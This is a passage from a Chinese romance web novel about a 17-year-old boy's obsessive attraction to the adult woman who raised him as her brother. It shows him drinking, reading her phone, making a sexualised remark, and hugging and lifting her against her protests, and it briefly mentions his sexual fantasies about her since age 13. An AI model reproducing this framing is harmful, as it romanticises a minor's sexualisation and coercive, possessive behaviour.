之前沈知逸问她谈过几个男朋友，她装逼说自己谈的数不过来。
现在……
黎娜：谢谢您，我的老爹。
54. 公狗觉醒
弟弟吃完虎皮鸡爪，跑去卫生间洗手了。
沈知逸立刻坐到黎娜旁边，把他和弟弟的餐具调换了一下，然后低下头，嘴角有细微的上翘弧度，伸出手指戳了戳黎娜的胳膊。
黎娜筷子一顿，没有看他。
大腿靠近膝盖的位置，落下来一道很轻的触感，在划来划去，不是乱划一通，而是很有规律。
黎娜垂眸看过去，见沈知逸正低着脑袋，用手指在她大腿上写字，一笔一划特别慢。
他浓密的睫毛垂下来，盖住眼睛里细碎的笑意。
前两个字一样：姐姐。
后面还有几个字，在好奇心的促使下，她跟着沈知逸的一笔一划，记住他写下的每一个字。
最后，她前后连接起来。
沈知逸写的是：姐姐，你骗我，你没有交过男朋友。
黎娜丢开他的手，拿起筷子继续吃饭。
沈知逸在她腿上的轻轻地拧了一下，没用什么力气，也不疼，但是让人特别不爽，似乎是在报复她之前说的谎。
黎娜脚伸过去踩他。
他立刻躲开，黎娜扑了个空。
黎娜懒得搭理他。
他又用脚轻轻地撞黎娜，似勾引，又似挑衅。
黎娜快气炸了。
沈知逸上扬的嘴角快压不住了，眼睛弯弯的像月牙，小口吃着碗里的饭，见黎娜杯子空了，立刻给她倒满椰子汁。
对面张阿姨发出一声轻笑。
黎父的声音传过来：“知逸，别跟你姐姐闹，你姐姐脾气不好，等会儿你惹急了她，她揍你一顿，我们可拦不住。”
黎娜顿住。
沈知逸不知想到什么，眼中的光芒熄灭了，嘴角落下来，唇线平直，黯淡无光的眼眸低垂着，透出一丝不甘与执拗。
吃完饭，黎父和黎娜来到书房。
黎娜有事情要跟他说，正打算把国外那对举动异常的夫妻告诉他，结果他先说了。
“娜娜，知逸的父母来联系我了。”
黎娜：“嗯。”
黎父问：“你怎么一点都不惊讶？”
黎娜：“我在国外好像看到了，一对亚裔夫妻，那个男人跟沈知逸很像，都是卷头发，弹钢琴的。”
黎父“哦”了一声。
黎娜：“他们怎么跟你说的？”
黎父：“他们说月底回国，希望跟我们见一面。”
黎娜：“是不是想把沈知逸要回去？”
黎父点头：“我能感觉出来他们非常渴望沈知逸能回家。”
黎娜：“沈知逸知道吗？”
黎父：“没有人跟他说，他怎么会知道？到时候让他自己选择吧，看看他是想回到自己的亲生父母那里，还是想继续跟着我们。”
黎娜：“嗯，我们不应该干涉这件事情，让沈知逸自己选择。”
从书房里出来，已经到晚上九点钟了。
张阿姨说：“这么晚了，就别回去了，在这里住一晚上吧，陪陪你爸爸。”
黎娜挎上包：“不留了。”
她去玄关穿鞋。
沈知逸也跟着她一起穿鞋。
黎父问：“知逸你也不留下来吗？都这么晚了。”
沈知逸低着头，闷闷地“嗯”了一声。
黎父说：“你住下来吧，你自行车不在这里，不好回去。”
沈知逸还是低着头：“不用了，姐姐送我回去就可以了。”
黎娜：“……”
她什么时候答应送沈知逸回家了？
黎父愣了一愣，笑道：“也行，那就让你姐姐送你回家吧。”
黎父和张阿姨送他们出门。
黎父突然开口：“娜娜，你跟我回来一下，我把车钥匙给你。”
黎娜：“好。”
她跟在黎父身后，又回去了。
沈知逸看着他们背影，心里有些不安。
回到家里，黎父给了黎娜一把车钥匙。
黎娜正准备走，黎父喊住她。
“娜娜。”
黎娜转回身来：“怎么了？”
黎父看着她，往日慈祥不再，目光是前所未有的犀利，充满了上位者的压迫感。
黎娜扛不住他的视线，感觉自己无处遁形，所有秘密都暴露于光天化日下。
“你喜欢知逸吗？”
黎父盯着她的眼睛。
她心跳空了一下，皱起眉，模样很是不解。
“你怎么问我这个？”
她没有直接回答。
黎父语气加重，又问了一遍：“你喜欢他吗？”
看来是非要她给个确切的回答。
黎娜如他所愿：“我不喜欢他，我怎么可能喜欢他，他是我弟弟。”
黎父这才松了口气：“那就好，知逸这孩子乖巧懂事，就是年纪太小了，如果他年纪大点，我还挺希望看到你们在一起的。”
黎娜眉心痕迹加深：“你在说什么啊？”
黎父笑了：“你以后找男朋友，还是要找个年纪比你大几岁的，那样的成熟稳重，知道疼你。”
黎娜嘴角抽搐：“比我大几岁，你确定不是二婚的？”
黎父笑得不行，想了一会说：“你认识秦钰吗，之前跟你一个学校的，家里是做宝石生意的，我近几年总是看到他，那孩子不错，不花也不爱玩，一心扑在工作上，特别踏实，长得也不错，还没有女朋友。”
黎娜有些不耐烦：“我认识他，他之前想当我男朋友，我拒绝了。”
黎父大惊失色：“那么好的条件你都拒绝了，你到底喜欢什么样的？”
黎娜：“我大概不喜欢人。”
黎父挠头：“……”
不喜欢人喜欢什么？喜欢狗？
回家的路上。
沈知逸坐在副驾驶，看着车窗外面，目光又收回来一点，看着车窗上黎娜的侧脸。
“你回去拿车钥匙的时候，黎叔叔是不是跟你说话了？”
他放在腿上的手指攥紧裤子。
黎娜没说话。
沈知逸抿着嘴唇，唇色发白。
“黎叔叔跟你说什么了？”
黎娜目视前方，观察路况。
“再说一句，你就给我下车。”
沈知逸立刻闭嘴。
心里的委屈如洪水决堤。
姐姐，总是这样。
到家门口，黎娜把后备箱里的行李都搬下来，没让沈知逸帮忙，他现在还不能拿重的东西。
她把沈知逸的行李放到客厅，出了一身的汗，几乎要湿透了，头发和衣服黏在皮肤上，特别难受。
沈知逸抽了几张纸巾递给她。
她瞥了一眼，没接。
“不擦了，我直接回家洗澡。”
她拿起包就走。
沈知逸放下纸巾，赶紧追上去，扯住黎娜的衣角。
黎娜脚步一顿，停下来。
意识到自己的举动有多不合适，沈知逸难为情地低下了脑袋，声音很闷，带着
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小心翼翼的乞求。
“姐姐，你今天晚上别走了。”
黎娜头皮发麻。
这小孩说的什么鬼话？
怎么跟夜总会里男招待一样。
沈知逸扯着她的衣角不松手。
“现在太晚了，别折腾了，就在这里住一晚吧，明天再走，行吗，姐姐？”
黎娜打掉他的手，语气冷淡：“不用。”
她大步离开，一阵风似的上了车，摔上车门。
沈知逸一直跟着她，跟到她外面，穿着拖鞋，脚趾蜷缩着，透过深色的车窗，眼巴巴地望着她，如同一条宠物犬在送别出门的主人。
黎娜按启动键，车子响起一阵引擎发动的声音，还没打着火，就没动静了。
黎娜又试了几次，每次都是这样，气得她拿出手机炮轰黎父。
黎娜：【你这什么破车，怎么一直打不着火！】
黎娜：【气死了，真想拎个锤子砸个稀巴烂！】
黎父：【不知道，我这车子在你上学的时候就一直在开，太旧了吧，你人在哪，我去接你。】
黎娜看了眼时间，仰头望天。
黎娜：【不用了，我在沈知逸这里，凑合一晚明天再说。】
黎父：【行。】
黎娜又从车上下来了。
沈知逸眼睛一亮，立马趿拉着拖鞋凑过去。
“姐姐，车子坏了吗？”
黎娜越过他，朝家里走。
“抛锚了。”
沈知逸差点笑出声，连忙捂住嘴巴，跟在她屁股后面。
黎娜去衣帽间拿好睡衣，上楼回到自己以前的卧室，打开门，一股不属于她的味道扑面而来，放眼望去，床上多了几件男生的衣服袜子，床头柜上还放着课本资料。
沈知逸心虚地后退，踮起脚尖，准备偷偷溜走。
黎娜一把拽住他的衣领，直接把他扯回来，指着面前的卧室。
“怎么回事？你把我的卧室占了？那我晚上睡哪？”
沈知逸低着头：“……”
黎娜气笑了：“胆子不小啊，连我的地盘都敢占，给你一分钟时间，带着你的所有东西滚出去！”
沈知逸垂下眸子：“手臂好痛……”
黎娜：“……”
行，她去睡沙发。
黎娜抱着衣服，到楼下的浴室洗澡。
沈知逸坐在沙发上，听着浴室里传来的水声，脸和耳朵都红红的。
茶几上，黎娜的手机响了。
沈知逸看过去，有人给黎娜发消息。
秦钰：【娜娜，你回国了？】
秦钰：【你爸刚才发消息给我，让我跟你明天见一面，一起吃顿饭，餐厅位置我发给你，时间你来定。】
沈知逸拿起手机，双击信息点进微信，进入这个秦钰的朋友圈，里面最新动态是一张夜跑照片。
男人穿着紧身的白色背心，露出肩膀上坚实的肌肉，头发微湿垂在额前，脸上全是汗。
沈知逸记得这个男人。
原来这个亲了姐姐脸的男人，是叫秦钰啊。
沈知逸把消息调成未读，退回到原始桌面，把手机放回原位，然后从冰箱里拿出一瓶气泡酒，是之前陈研带回来的。
沈知逸趴在阳台的栏杆上，微卷的头发随着晚风轻轻晃动，皮肤被热空气炙烤着，胃里灌满了冰冷的气泡酒，他整个人都晕乎乎的，像发烧了，又难受又舒服。
一股清冽的气泡酒味在客厅里弥漫开来。
55. 公狗觉醒
黎娜洗完澡出来，半湿的卷发披在肩后。
浴室里的吹风机不见了，她记得之前里面有一个，后来太多年没过来了，很多东西都不知道放在哪里。
她在客厅里翻箱倒柜，鼻尖飘来一抹若有若无的酒香味，翻找的动作顿了一顿，眉头皱起，用手指蹭了蹭鼻尖，确实是有股酒味，不知道从那个方向飘来的。
黎娜站起身来，深吸口气，放声大喊。
“沈知逸，吹风机给我拿一个过来！”
她喊完，客厅内一片寂静。
没有人搭理她。
她准备加大音量再吼一嗓子，就看到前方阳台的玻璃门上，印出她透明的身影，而在她的身后，还立着一个人，要比她高出一些，体型也比她大一点。
黎娜整个人都僵住了。
酒味似乎比刚才更浓烈了……
沈知逸站在她身后，脸特别红，耳朵和脖子也是红的，呼吸间有阵阵酒香味飘出来，浓烈到要把人熏醉了。
黎娜心中陡然升起一抹诡异的危险感，来自雌性动物的本能，她轻吸口气压下这种诡异的感觉，若无其事地开口：“沈知逸，你知道吹风机在哪里吗？”
“嗯……”
这一声“嗯”里带着鼻音，似睡梦中的小狗轻轻地哼了一声，可爱得要命，就在黎娜耳边响起。
黎娜往前面走了几步，跟他拉开距离：“在哪？”
沈知逸紧跟着她，把吹风机递到她身前，手臂举在半空中，离她的侧腰很近，有点像抱着她的姿势，不知是有意还是无意。
黎娜有些生气，握住吹风机就想走，结果她走不了，因为沈知逸不撒手。
她冷声道：“给我。”
沈知逸用力握紧，指节发白，闷声闷气地说：“不给。”
黎娜翻白眼：“那你递给我干什么？”
沈知逸：“姐姐，你跟我撒个娇，我就给你，好不好？”
黎娜如遭雷劈，迅速反应过来，故意恶心他。
“撒娇我不会，我只会撒尿。”
好粗俗的一句话，这不得恶心死沈知逸。
可她万万没有想到，身后的沈知逸脸更红了，垂眸盯着她睡裤下面的半截小腿，修长又匀称，喉咙有些发干，他轻轻地咳了一声，嗓音特别沙哑。
“可以都要么？”
黎娜：“啊？”
沈知逸磕磕巴巴的：“要姐姐撒娇，也要姐姐撒、撒……”
最后一个字他说不出来，脸红得像灯笼。
黎娜不可置信地瞪大双眼，用力踩到他脚上，狠狠地碾，咬着后槽牙低声骂他：“你好恶心啊！”
沈知逸痛得弯下腰，不停地倒吸冷气，脸色瞬息万变，一会痛苦到面目扭曲，一会又愉悦地面带笑意，似乎在享受她施加在他身上痛苦。
他说：“只要是姐姐的东西，不管是什么，我都特别喜欢……”
黎娜心中一阵恶寒，用力推开沈知逸，并抢走了他手里的吹风机，插上电，仰着头吹头发。
她每隔段时间就要去弄头发，一直保持着卷发的状态，发量多，也很蓬松，吹干了跟头母狮子一样，不修边幅，看起来有些滑稽。
黎娜放下吹风机，把头发压平了一点，看向躺在沙发上的沈知逸。
“你喝酒了？”
沈知逸半睁着眼睛，目光没有焦距，显得有些迷离。
“喝了一点点，好难受……”
黎娜骂道：“你活该，手臂上的伤口要是发炎了，你就别弹琴了。”
沈知逸闭上眼睛。
黎娜问：“以后还喝不喝了？”
沈知逸摇头：“再也不喝了。”
黎娜：“再喝打断你的狗腿。”
沈知逸突然睁开眼睛，站起身来朝黎娜走过去。
黎娜下意识想走，又觉得自己这样跟怕他似的，于是就站在原地没有动，随便找了些无关紧要的事情做，让自己看起来很忙。
距离越来越近，黎娜背过身去。
脚步声在她身后停止了，投下来一道阴影，她隐约能听见沈知逸的呼吸声，近在咫尺。
她冷淡地说：“滚回去睡觉。”
沈知逸又往前走了一小步，几乎要贴上黎娜的后背。
黎娜呼吸凝滞。
她前面是电视机，不能再往前走了，想叫沈知逸离她远一点，话还没说出口，腰间猛然一紧。
她垂眸，看到沈知逸的手臂搂在她腰上。
越界了。
黎娜用力推他：“松手！”
沈知逸收紧手臂，在她耳边说：“姐姐，你是不是忘记了什么事情？我们还没有比赛。”
黎娜握紧拳头：“我数到三。”
“一……”
腰上手臂瞬间发力，黎娜惊呼一声，脚尖离地，整个人腾空而起，失去了重心。
沈知逸单手把她抱起来。
“你看，姐姐，我能把你抱起来，而且一只手就够了。”
黎娜瞪着眼睛，过了许久才反应过来，腿脚疯狂乱蹬，可是连地面都没有碰到，她就像一只被人拽住耳朵拎起来的兔子，一切挣扎都是徒劳。
她用力拧沈知逸的手臂，用脚后跟踢他的腿。
“快点放我下来，你手臂勒得我好痛！”
听到她喊疼，沈知逸立马放她下来，笑嘻嘻地看着她。
“姐姐，换你抱我了。”
他张开双臂。
黎娜一副见鬼的表情。
开什么玩笑！
“沈知逸，你脑子有病！”
沈知逸很是苦恼的样子，手臂慢慢垂下来。
“姐姐，你要弃权吗？”
黎娜：“神经。”
沈知逸：“好，那就算我赢了。”
黎娜：“神经病！”
沈知逸：“你要给我奖励。”
黎娜扭头就走。
沈知逸朝她的背影喊：“那这个奖励以后我再向你要，姐姐，你不能耍赖。”
黎娜气得几乎要失去了理智。
还叫她不要耍赖。
等沈知逸明天睡醒了，估计都不知道今天晚上发生了什么。
真是笑死人了。
黎娜在客房凑合了一晚上，直接睡到了第二天中午。
洗漱完下楼，餐桌上放着两份早餐，黎娜步伐微顿，朝玄关走去。
沈知逸从厨房里拿了叉子出来，认真地放在盘子旁边，看到黎娜在穿鞋，赶紧跑过来，有些不安地问她：“你要出门吗？”
黎娜扣好鞋扣：“嗯，有朋友约我吃饭，我不在家吃了。”
沈知逸低下头，声音闷闷的：“可是我已经把你的那份做好了……”
黎娜挎上包：“你多吃点。”
她打开门。
沈知逸的声音从身后传过来：“是
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和秦钰去吃饭对吧？”
黎娜愣住，“嗯”了一声。
沈知逸从后面跑过来，挡在她面前，皱着眉头很受伤地看着她。
“为什么要跟他出去吃饭，你就不能……多陪陪我吗？你本来回来就待不了几天，还要把时间分给别的男人……”
他越说越委屈，眼眶都红了。
黎娜不为所动：“你要我整天都围着你一个人转，怎么可能？我有我自己的圈子，有社会关系需要维系，怎么可能把全部时间都花在你身上。”
她把沈知逸推到一边。
沈知逸没有再挡着她，乖乖站到不碍事地方，看着她的侧脸，安安静静的没有说话。
黎娜在关门之前，听到了沈知逸的声音。
“可是，我的世界里就只有你啊……”
他语气特别可怜。
黎娜轻吸口气，一丝犹豫都没有，关上门就离开了。
还是之前的那个餐厅。
三年没见，秦钰看上去和之前几乎没有变化，穿着黑西装和黑皮鞋，发型也和以前一样。不一样的是他的眼睛更加坚定精明，言谈举止也圆滑稳重了许多。
跟秦钰比起来，这三年都在画画打交道的黎娜就显得稚嫩了许多，刚看到他一时间都不知道该说什么，还是他先开启了一段话题，才拉着她一起渐入佳境。
秦钰问：“还回去吗？继续追求你的梦想，实不相瞒，这几年我一直在关注着你的社交账号，你真的特别厉害。”
黎娜笑道：“可能不回去了。”
秦钰切牛排的动作一顿，诧异地看向她：“为什么？”
黎娜单手拖着下巴：“因为我的目标已经达成了，就会觉得没什么意思了，像我上大学的时候想当模特，出名了之后，热情一下子就消减下去了，我就提前退役了。”
秦钰：“我记得你很喜欢画画。”
黎娜：“是喜欢，但是和杂志社签约之后，我就一直处理不好和画画之间的关系，我不喜欢把画画当成工作来做，那样我会迷失初心，一旦没有得到正向的反馈，还会陷入焦虑，还是当做业余爱好更自在一些。”
秦钰听得很认真：“那你接下来留在国内，想做什么？”
黎娜想了一会：“珠宝设计师？”
秦钰低头笑了：“那我们又在一个行业里了。”
黎娜也笑了。
不远处，坐着两个年纪不大的男生，都带着一顶黑色的鸭舌帽，帽沿盖住半张脸，跟狗仔一样。
女服务员在帮他们点餐。
陈研看着面前的平板，手指在屏幕上划来划去，嘴巴张得很大，能塞一颗茶叶蛋进去，眼睛也瞪得很大，都快要掉出来了。
他小声抱怨：“我靠，这里的菜好贵啊，怎么选啊，我都不知道选什么……”
沈知逸用相同的音量回答他：“选最便宜的。”
陈研翻了半天：“最便宜的是苏式绿豆汤，六十六块钱。”
沈知逸：“就选绿豆汤，两份。”
陈研点击绿豆汤，数量加到两份，把平板还给服务员，挠了挠头：“嘿嘿，刚才我们在外面吃过了，就喝碗绿豆汤凉快凉快吧。”
说完，肚子就叫了一声。
陈研连忙用手捂住：“……”
其实刚才听到他俩小声说话，但是装作没有听到的女服务员：“……”
沈知逸难为情地低下脑袋。
56. 公狗觉醒
女服务员抱着平板离开了。
陈研无精打采地趴在餐桌上，捂着发出抗议的肚子。
“我早饭都没吃，你就带我来喝绿豆汤啊，沈知逸，你可真够抠门的……”
沈知逸瞥他一眼：“不是你自己跟过来的吗？”
陈研：“……”
是啊，他一大早爬起来去沈知逸家打游戏，顺便蹭顿早饭，没想到刚到沈知逸家门口，就看到沈知逸骑着自行车飞出来，他想都没想就跟上去了，一直跟到了这里。
本来就没吃早饭的两个男生，在经历了一场激烈的骑行运动之后，肚子开起了演奏会。
绿豆汤端上来了，陈研一口气喝完，虎视眈眈地盯着沈知逸喝了半碗的汤。
沈知逸抱着碗，往后退。
陈研噘着嘴，眨巴着眼睛，像受了委屈的小女生，掐着嗓子说：“沈知逸哥哥，你最大方了，再点些东西吃吧，好不好嘛……”
沈知逸别开脸，看向窗外。
“好啊，你自己点，自己付钱。”
陈研左哼哼：“小气鬼！”
沈知逸：“……”
陈研右哼哼：“我不跟你好了！”
沈知逸：“……”
他垂下眸子，用余光偷偷看向黎娜那一桌。
秦钰微笑着，不经意间抬眸，在视野内发现一张熟悉的面孔，目光回到黎娜身上，用下巴朝沈知逸的方向指了指。
“那边的人，是不是你弟弟？”
黎娜顺着他的目光看过去。
沈知逸正用余光偷瞟他们，一下子跟黎娜的视线撞了个正着，他迅速垂眸，慢慢低下了脑袋，脸几乎要埋进绿豆汤里。
黎娜眯起眼睛：“应该是。”
秦钰笑意加深：“这次也要利用完我再丢掉吗？”
黎娜皱眉：“什么利用，之前那次不是提前跟你说好的，别弄得我像玩弄了你的感情一样……”
秦钰笑得肩膀颤抖：“那你这次还需要我的帮忙吗？”
“不需要。”黎娜站起身。
秦钰有些遗憾：“看来这次不能亲你了，好难过。”
黎娜凶狠地剜了他一眼。
沈知逸低头看着桌子下面，抠着自己的手指，听到一阵节奏熟悉的脚步声正朝他的方向走过来，距离越来越近，心脏用力跳动，狠狠撞击着胸口，他甚至能听到自己的心跳声，脑袋更加低下来了。
脚步声停止，面前落下来一道黑影，他目光移到黎娜的黑色皮靴上，呼吸都停止了，头顶传来黎娜的声音。
“你怎么在这里？”
沈知逸低头不说话。
餐桌下，看好戏的陈研踢了他一脚。
他抬眸朝陈研看过去。
陈研捂着嘴偷笑，一脸的幸灾乐祸，用低到几乎听不见的气音说：“你姐姐问你话呢！”
沈知逸抠到手都痛了。
黎娜眉心紧皱。
陈研咳了一声，替沈知逸回答：“他偷偷跟出来的呗。”
说完还意味深长地看了一眼站在黎娜身后的秦钰。
秦钰回以微笑。
黎娜眉心越皱越紧，看着沈知逸：“你没吃早饭？”
沈知逸抿着嘴唇，睫毛垂下来盖住了眼睛，眼眶有些泛红。
面对黎娜类似关心的话语，他心里莫名的特别委屈。
餐桌上放着两个小碗，陈研面前的碗空了，沈知逸这边的碗里还有点绿豆汤。
黎娜问：“你就喝了碗绿豆汤？”
沈知逸突然站起来，拉住陈研的袖子，转身离开。
他从始至终都低着头，像做错了事情，在跟大人闹别扭的小孩，又拽又委屈。
黎娜都气笑了，伸手拎住沈知逸的后衣领，直接把他拎回到座位上，手放到他肩膀上用力往下按，他就被迫坐回去了。
黎娜叫住路过的女服务员。
“点餐。”
陈研眼睛一亮。
沈知逸微微睁大双眼，短暂的迷茫过后，他嘴角翘起一抹极其细微的上扬弧度。
刚才黎娜拉住他，不让他走，他真的特别开心。
换句话说，他走，就是为了让黎娜拉住他。
在走的过程中，他一直在等待着黎娜。
沈知逸和陈研都在长身体的年纪，饭量特别大，黎娜点了一桌的菜，问陈研：“这些够吃吗？”
陈研两眼放光，看着桌上的菜，口水都要涌出来了，疯狂点头：“够够够！谢谢姐姐！”
黎娜温柔微笑：“是吗，这个餐厅的盘子很大，能吃的东西就只有中间那一点点，我估计不够你们吃的，等会不够我再叫服务员过来。”
陈研感动得要哭了：“姐姐你真好！沈知逸有你这么好的姐姐，真的太幸福了！我也想当你弟弟！”
说完，小腿就被用力踹了一脚，不用想也知道是谁，他怒目瞪向沈知逸。
沈知逸小口吃东西，吃相特别斯文，跟在学校里饿死鬼一般的吃相完全不一样。
陈研嘴角抽搐。
吃完饭，四个人一起下楼。
黎娜和秦钰走在前面。
沈知逸和陈研跟在后面。
秦钰向后看了一眼，笑道：“感觉我们两个像是在带小孩。”
两个身高逼近一米八的小孩：“……”
黎娜听着他话里有话，没搭腔，径自走到前台，拿出手机付钱。
秦钰喊住她：“娜娜，我付过了，回来吧。”
黎娜惊讶地转回身来：“你什么时候付的，我没看你离开啊？”
秦钰笑着说：“来的时候就记我账上了，还有那两个小孩的。”
黎娜不悦道：“都说了这次我请你了，你总是这样，以后我都不敢跟你出来吃饭了。”
秦钰：“那下次你来请，真的。”
黎娜叹了口气：“行。”
又掉进秦钰的陷阱里了。
身后，沈知逸目光幽幽地盯着秦钰，眼睛都不眨，下颌线紧绷着，似乎咬紧了后槽牙，垂在身侧的手握成拳头，用力到浑身都在颤抖。
陈研悄悄地瞥了他一眼，捂住胸口。
小逸逸好可怕哦！
黎娜和秦钰各自开车返回。
沈知逸和陈研骑着自行车慢悠悠回家。
家里没有人，黎娜又跑去别的地方了，不知道去找谁了，男的还是女的，沈知逸落寞地在玄关换鞋。
陈研就跟回到了自己家一样，打开冰箱拿了瓶气泡水，坐到沙发上打游戏，声音特别大。
沈知逸把自己关进房间里，拿着手机，在对话框里打下一段文字：【姐姐，你去哪里了，怎么没回家？】
还没有点击发送，手机顶端跳出来一条信息，是温琳发过来的。
温琳：【告诉你一个好消息。】
沈知逸退出和黎娜的聊天框，进入和温琳的聊天页面。
沈知逸：【什么好消息？】
温琳：【你猜。】
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>沈知逸：【……我不想猜。】
温琳：【哈哈哈哈哈哈，不逗你了，这个好消息就是……】
沈知逸：【……】
温琳姐到底在搞什么啊！
温琳：【你姐姐不回美国了。】
沈知逸立刻把手机拿近了，一个字一个字地看。
姐，姐，不，回，美，国，了。
他反反复复看了好几遍，确认无误后，激动得差点从床上跳起来。但是以温琳姐这种爱开玩笑的性格，他又很怕是假的，把那些欣喜的情绪慢慢压回去，这样如果真的是假的，他不至于一时间接受不了。
沈知逸：【你怎么知道，她跟你说的吗？】
温琳发来一段语音。
沈知逸点开来，是黎娜的声音。
黎娜在说：“嗯，不回去了，可能我没那么喜欢画画，我只是喜欢追寻的那个过程，还有实现目标后所产生的成就感和自我认同感。”
语音到这里结束。
沈知逸露出笑容。
是真的，姐姐不走了。
开心了没多久，沈知逸嘴角忽然落下来，眉心微皱，忧心忡忡的，不知道想到了什么，他单手撑着下巴，目光有些空洞。
姐姐……之前特别喜欢画画。
听温琳姐说，她坚持了那么久都不肯放弃，可是现在她说放弃就放弃了，她的热情就只能持续这么短的时间，更何况是人呢。
温琳：【很开心吧，小知逸？】
沈知逸：【温琳姐，你之前跟我说的都是对的，姐姐她没有心，还特别容易变心。】
温琳看到这条信息，第一时间把手机拿到黎娜面前，愤懑不平地谴责她：“你又把你家小知逸怎么了，他怎么突然说你没有心，娜娜，你没有心吗？”
说着，温琳直接上手。
“你的心呢，我怎么摸不到！”
“娜娜，你的胸好平哦……”
黎娜面无表情地看着她，抬手在她胸上狠狠打了一巴掌。
温琳发出土拨鼠的尖叫声，捂着胸部极速撤退。
黎娜冷笑道：“你的胸就大了？在这放什么屁呢？”
温琳：“噗噗噗……”
黎娜满头问号：“你在干什么？”
温琳噘着嘴：“我在用嘴巴放屁呀，噗噗噗……”
黎娜深吸口气：“……”
什么傻逼玩意儿。
她跟温琳待了一个下午。
到了晚上，黎娜做了水果酸奶碗和蔬菜沙拉。
温琳评价为“催屎餐”。
回到家，天已经黑透了，黎娜停好车子下来，看到家门口坐着一个人，跟蹲坐在家门口等待主人回家的小狗一样，是沈知逸。
黎娜朝他走过去。
沈知逸手里拿着一片树叶，在逗弄地上的蚂蚁，听到有动静传过来，立马抬起了头。
在看到是黎娜之后，他慢慢站起来，表情有一瞬的破裂，像是在哭。等黎娜眯起眼睛仔细看的时候，他脸上又什么表情都没有了。
黎娜怀疑自己出现了幻觉。
沈知逸大步朝她的方向走过来，眼睛直勾勾地盯着她，眼中所有情绪翻滚纠缠在一起，毫不掩饰对她的感情，或者是他再也不能忍受下去了。
黎娜暗道不妙，转身想逃。
在她行动之前，沈知逸伸手握住她的胳膊，直接将她拽进怀里。
他手臂穿过黎娜的腰，手指蜷缩着按在黎娜的肩膀上，喉咙有些颤抖。
57. 公狗觉醒
“你到底喜欢什么啊？”
“在这个世界上，是不是就没有你喜欢的东西？”
夏夜闷热，树上有蝉叫个不停。
黎娜却听不到，也感觉不到热，她全身感官都集中在右侧脖子那一块，沈知逸将脸埋在那里，有湿热的呼吸喷洒在她皮肤上。
她用一种能穿破夏夜高温，冷如深冬冰锥的语气说道：“沈知逸，你已经过了能撒娇，能哭鼻子的年纪了，以后不许再跟我有任何的身体的接触，现在立刻放开我。”
黎娜冷着脸，声音压得又低又沉，充满了来自长辈的威严，无形中在向稚嫩青涩的他施压。
沈知逸有些害怕了，手臂松开了一点，又立刻搂紧了，比刚才还要用力。
“这是……家人之间的拥抱，姐姐你不要多想。”
黎娜说：“我从不跟家人拥抱。”
沈知逸抱着她不松手：“可是我很需要家人的拥抱，非常非常地需要。”
黎娜：“那你去抱你的黎叔叔。”
沈知逸：“不要。”
黎娜：“去抱你弟弟。”
沈知逸：“不要。”
黎娜：“去抱张阿姨。”
沈知逸：“不行，黎叔叔会揍我的……”
黎娜气笑了：“你都十七岁了，你看看你们学校里十七岁的男生，哪个是像你这样的，要抱着姐姐，你不觉得很奇怪吗？”
沈知逸不知被她哪句话刺痛了，眼眶瞬间红了。
“你也觉得我很奇怪是吗？”
“姐姐，你是不是觉得我……特别恶心，特别脏，让你特别厌恶。”
说到后面他眼泪涌出来，赶紧抬起脸，让眼泪有更多的时间滚动不会直接落下来，然后用指尖轻轻抹掉，很害怕掉到黎娜的衣服上被发现。
黎娜有些不解：“恶心，脏？”
沈知逸点头。
他十三岁对黎娜就有那种心思不脏吗，想着黎娜的样子去自/慰不脏吗，在梦里跟黎娜做/爱不脏吗？还有黎父口中的乱/伦……
沈知逸松开她，低着头转过身去，走进漆黑的家里。
“我就是这么不堪啊……”
“毕竟我本来就是个没人要的东西。”
当天晚上，黎娜带着行李离开了。
沈知逸站在窗前看着她，卧室里没有开灯，他不用担心自己会被她发现，看得肆无忌惮。
后来他一直没有看到黎娜，黎娜的朋友圈和社交平台都没有再更新，他再次失去了黎娜的消息。
直到一天晚上。
他在空荡荡的客厅里，坐在沙发上抱着枕头看纪录片，身旁的手机震了一下。
他立刻拿起来，看到黎父发了很长一段话过来。
黎父：【知逸，我要跟你说一件事情，这件事情其实从你回来之后我就应该跟你说了，但是总被公司的事情耽搁着，也找不到合适的机会，今天晚上必须要跟你说了。
在你去了美国之后，有一对常年居住在国外的夫妻联系到了我，他们自称为你的父母，说在你出生之后，因为他们的疏忽害你被坏人带走偷渡到了国内，从那以后他们一直在找你，但因为那时监控设备太落后，所以一直没有你的消息。
你父母的条件非常好，你的父亲是国外有名的钢琴家，怪不得你钢琴弹得那么好。你的母亲是芭蕾舞剧的演员，从你失踪之后，她便无心工作，患上了焦虑症和忧郁症，受尽了折磨。
他们非常希望能接你回家，在今天晚上，他们来到了国内，我去机场接他们了，给他们安排了酒店，明天晚上你过来吧，看看你是要留在我这里，还是跟着你的父母回美国。
一切选择权都在你手里，不管你做出什么选择，我们都会尊重你的决定。】
沈知逸在看信息的过程中，心中有一瞬的怀疑黎叔叔是不是信息发错人了，可是他深知这种可能性为零。
很奇怪，他并没有情绪上的波动，可能是对“父母”这一词没有概念，因为曾经从来没有拥有过，所以体会不到那种失而复得的感觉。就好像凭空多出来一种很新奇，很陌生的东西，他必须要去接受。
除了一点点的惊讶之外，剩下的都是茫然，其实比起父母，他更喜欢的是姐姐，弟弟，黎叔叔和张阿姨。
沈知逸：【黎叔叔，你怎么知道他们是我的爸爸妈妈，是不是认错人了。】
黎父发来一张图片，是亲子鉴定的结果。
黎父：【不会，我之前把你的头发寄给他们了，这是他们送去司法鉴定中心检验出来的，不会出错。】
黎父：【我调查过他们的背景，他们都是国外有名的公众人物，在各自的领域里获得过很多成就，不会无缘无故乱认亲的。】
沈知逸：【哦，我知道了。】
黎父：【明天下午六点回家吧，你姐姐也过来。】
沈知逸：【好。】
他关掉手机，目光有些涣散。
如果他一出生就被坏人偷走了，那他小时候，那个借口说去买冰糖葫芦，其实是要抛弃他的那个女人，也就是他曾经以为的妈妈，是不是就是他亲生父母口中的坏人？
沈知逸在众多疑问中睡着了。
早上，陈研又过来蹭饭了。
沈知逸之前手臂中枪在国外耽搁了一个多月，回来正好赶上放暑假，陈研隔三差五就来他住的地方，凭借一张巧嘴，让营养师对他充满了好感，任劳任怨伺候这个多出来的“小祖宗”。
陈研坐在沙发上打游戏。
沈知逸突然开口：“我爸爸妈妈来找我了，亲生的。”
陈研“哦”了一声，过了几秒钟，他眼睛猛然睁大，扔掉游戏机就来锁住他的脖子。
“我靠！你刚才说什么！你爸爸妈妈来找你了！你竟然有爸爸妈妈！你不跟我一样是孤儿吗！”
沈知逸被他勒得咳个不停：“我也不知道，是黎叔叔告诉我的，叫我今天晚上过去和他们见一面，看看我想要跟着谁。”
陈研松开他：“那你想好了没，你要跟着谁？”
沈知逸低下头，小声说：“我想跟姐姐在一起……”
